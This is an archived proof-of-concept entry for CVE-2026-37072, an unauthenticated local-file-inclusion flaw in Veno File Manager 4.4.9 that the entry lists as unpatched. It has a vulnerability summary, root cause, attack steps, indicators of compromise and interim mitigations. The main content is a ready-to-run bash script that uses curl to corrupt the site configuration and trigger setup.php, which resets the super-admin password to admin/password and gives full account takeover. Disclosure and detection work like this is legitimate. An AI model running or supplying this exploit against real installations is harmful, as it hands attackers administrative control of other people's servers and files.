PoC Archive PoC Archive
Critical CVE-2026-37072 unpatched

Veno File Manager 4.4.9 — Unauthenticated LFI to Superadmin Takeover (CVE-2026-37072)

by jfs-jfs · 2026-07-05

Severity
Critical
CVE
CVE-2026-37072
Category
web
Affected product
Veno File Manager Project
Affected versions
4.4.9
Disclosed
2026-07-05
Patch status
unpatched

Archive entry

intelseclab/poc-archive

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researcherjfs-jfs
CVE / AdvisoryCVE-2026-37072
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusPoC
Tagsfile-manager, unauthenticated, local-file-inclusion, account-takeover, php, veno-file-manager
RelatedN/A

Affected Target

FieldValue
Software / SystemVeno File Manager Project
Versions Affected4.4.9
Language / PlatformBash / PHP web application
Authentication RequiredNo
Network Access RequiredYes

Summary

admin-head-updates.php in Veno File Manager 4.4.9 is vulnerable to Local File Inclusion via the unsanitized lang GET parameter. An unauthenticated attacker can send a crafted POST request with a path-traversal payload in lang that corrupts the application’s configuration file. Following that, a GET request to the setup.php endpoint forces the application to partially regenerate its configuration and reset the super-administrator password to its default value, giving the attacker full administrative access without any user interaction.

Vulnerability Details

Root Cause

The lang GET parameter passed to admin-head-updates.php is used to build an include path without sanitization, permitting directory traversal into unintended files and corrupting the site configuration (CWE-284 / LFI-class issue).

Attack Vector

  1. Send an unauthenticated POST request to /vfm-admin/?lang=../admin-panel/updater/admin-head-updates, corrupting the current site configuration.
  2. Send an unauthenticated GET request to /vfm-admin/setup.php, triggering regeneration of configuration values and resetting the super-administrator password to the default.
  3. Log in with the default super-administrator credentials.

Impact

Full unauthenticated remote takeover of the super-administrator account and the entire application.

Environment / Lab Setup

Target:   Veno File Manager 4.4.9 (self-hosted PHP install)
Attacker: bash, curl

Proof of Concept

PoC Script

See PoC.sh in this folder.

1

./PoC.sh <url to root of vfm installation>/

The script first breaks the site configuration via the LFI in lang, then triggers setup.php to regenerate configuration and reset the super-admin password to its default value.

Detection & Indicators of Compromise

POST /vfm-admin/?lang=../admin-panel/updater/admin-head-updates HTTP/1.1
GET /vfm-admin/setup.php HTTP/1.1

Signs of compromise:

  • Unexpected requests to setup.php from external IPs
  • Configuration file timestamps changing without administrator action
  • Successful login using default admin/password credentials

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory
Interim mitigationSanitize and allowlist the lang parameter; restrict access to setup.php after initial installation

References

Notes

Mirrored from https://github.com/jfs-jfs/CVE-2026-37072 on 2026-07-05.

PoC.sh
bash raw GitHub ↓ Download
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

#!/usr/bin/env bash

##########################################################
####### UNAUTHENTICATED SUPERADMIN ACCOUNT TAKEOVER ######
##########################################################

################# TESTED ON VERSION 4.4.9 ################

# This exploit changes back the super admin account password
# to the default password. If the admin account username is
# not modified taking the super admin account is trivial.

# - Parameter $1 is Url to the root of where the installation
#   of vfm is (a.k.a. the root of the application)

if [[ -z "$1" ]]; then
  echo "[ USAGE ] :: ./unauth-superadmin-takeover.sh <url toroot of vfm installation>/"
  exit 1
fi

# Break the current config
echo "[ STEP :: 01 ] :: Breaking the current site config"
curl -X POST "$1/vfm-admin/?lang=../admin-panel/updater/admin-head-updates" &>/dev/null
echo "[ STEP :: 01 ] :: DONE"

# Trigger super admin account password regeneration
echo "[ STEP :: 02 ] :: Triggering super admin password reset to default"
curl -X GET "$1/vfm-admin/setup.php" &>/dev/null
echo "[ STEP :: 02 ] :: DONE"

echo
echo "[ :: COMPLETED :: ]"
echo "Go on to $1 and try to login with default credentials:"
echo "    [ USER :: admin    ]"
echo "    [ PASS :: password ]"